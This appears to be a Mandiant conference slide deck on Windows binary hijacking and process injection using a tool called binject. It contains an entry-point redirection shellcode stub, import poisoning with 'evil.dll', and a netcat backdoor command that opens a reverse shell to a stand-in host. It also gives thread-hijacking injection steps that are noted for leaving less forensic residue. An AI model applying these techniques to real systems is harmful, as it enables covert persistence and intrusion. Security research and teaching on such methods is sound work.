Nick Harbour | Principal Consultant

nick.harbour@mandiant.com

THE BLACK ART OF BINARY HIJACKING

Agenda

- Overview of Persistence Techniques
- Binary Hijacking with `binject`
  - Adding Sections
  - Entry Point Redirection
  - Import Poisoning
  - TLS Callbacks
  - Adding pre-made parasites
- Process Injection Parasites
- New Methods for Process Injection

Windows Persistence Techniques

Technique	Install	Detect
Startup Folders	Very Easy	Very Easy
Registry Run Keys	Very Easy	Very Easy
Windows Services	Easy	Medium
Other Registry Hijacks	Medium	Medium
Binary Hijacking	Difficult	Difficult
DLL Search Order Hijacking*	Easy	Very Difficult

*For more info visit http://blog.mandiant.com/archives/1207

Introducing Binject

- Very Simple Command Line Interface
- Point-and-shoot Binary Hijacking

- Add New Sections to a Binary
  - Can Fully Rebuild PE binaries to make room
- Redirect Entry Point to new Section
  - Raw (no pointer on stack)
  - Relative or Absolute pointer to OEP on the stack
  - DLL Support

DLL Entry Point Redirection

```
push    0FFFF3392h
pop     eax
call    $+5
add     [esp],  eax

... Your Shellcode Here ...

ret
```

Delta to OEP

Get EIP

Pointer to OEP Left on Stack

Back to OEP

Import Table Poisoning

- Force a binary to load your DLL
- Your DLL will load first
- Useful for API Hooking, sandboxing

00010E00	000140E8	Import Name Table RVA	
00010E04	FFFFFFFF	Time Date Stamp	
00010E08	FFFFFFFF	Forwarder Chain	
00010E0C	000140DC	Name RVA	evil.dll
00010E10	000140F4	Import Address Table RVA	
00010E14	00007990	Import Name Table RVA	
00010E18	FFFFFFFF	Time Date Stamp	
00010E1C	FFFFFFFF	Forwarder Chain	
00010E20	00007AAC	Name RVA	comdlg32.dll
00010E24	000012C4	Import Address Table RVA	
00010E28	00007840	Import Name Table RVA	
00010E2C	FFFFFFFF	Time Date Stamp	
00010E30	FFFFFFFF	Forwarder Chain	
00010E34	00007AFA	Name RVA	SHELL32.dll
00010E38	00001174	Import Address Table RVA	

```
binject -i clean.exe -o hacked.exe –m evil.dll
```

MANDIANT

Adding a TLS Callback

- The Thread Local Storage (TLS) provides a mechanism to call a function on the following events:
  - Process start
  - Thread start
  - DLL attach
  - Thread terminate
  - Process terminate
- Will Execute BEFORE the entry point of the binary
- Only used if USER32.DLL is loaded

```
binject -i clean.exe -o hacked.exe –d shellcode.bin --tls
```

Utility Wrapping

- Add a fixed command line to a binary
  - For example, hard code reverse shell switches onto the netcat binary.

```
binject -i nc.exe –o backdoor.exe –c “fake.com 7777 –e cmd.exe”
```

- Coming soon, Add a fixed standard input to a binary

Adding a Pre-Made Parasite

- Shell-Code Payload
  - Process Inject Shellcode into a Target Process
    - `CreateRemoteThread()` method
    - `QueueUserAPC()` method
    - Main Thread Hijack method (new)
- Full EXE Payload
  - Dropper
  - In-Memory Process Replacement

Basic Process Injection Techniques

- Memory must be allocated in remote process (`VirtualAllocEx`)
- Data must be written to remote process (`WriteProcessMemory`)

- Remote process must execute newly written code

Controlling Execution

- `CreateRemoteThread()`
  - Forces a new thread to be created at a location of your choosing
  - Most traditional, well-known approach
  - Always freakin' works
- `QueueUserAPC()`
  - Force the process to add an asynchronous procedure call (APC) of your choosing
  - Process must use APC style of programming (hint: services.exe uses this)

Thread Hijacking – New Technique

- Find a thread to hijack
- Suspend the thread
- Save the thread context with `GetThreadContext()`
- Allocate space for your code and a stack
- Write your code to the process
- `SetThreadContext()` with EIP pointing to your code and ESP pointing to the new stack
- `ResumeThread()`
- Wait for the thread to suspend
- `SetThreadContext()` back to the original
- `ResumeThread()`

Notes on Thread Hijacking

- Less memory forensic residue
  - Thread is launched from valid executable range as opposed to remotely
- Injected code needs to suspend its thread when finished

Demo and Q&A

- nick.harbour@mandiant.com
- nickharbour@gmail.com

- Twitter: @nickharbour
- Website: www.rnicrosoft.net

MANDIANT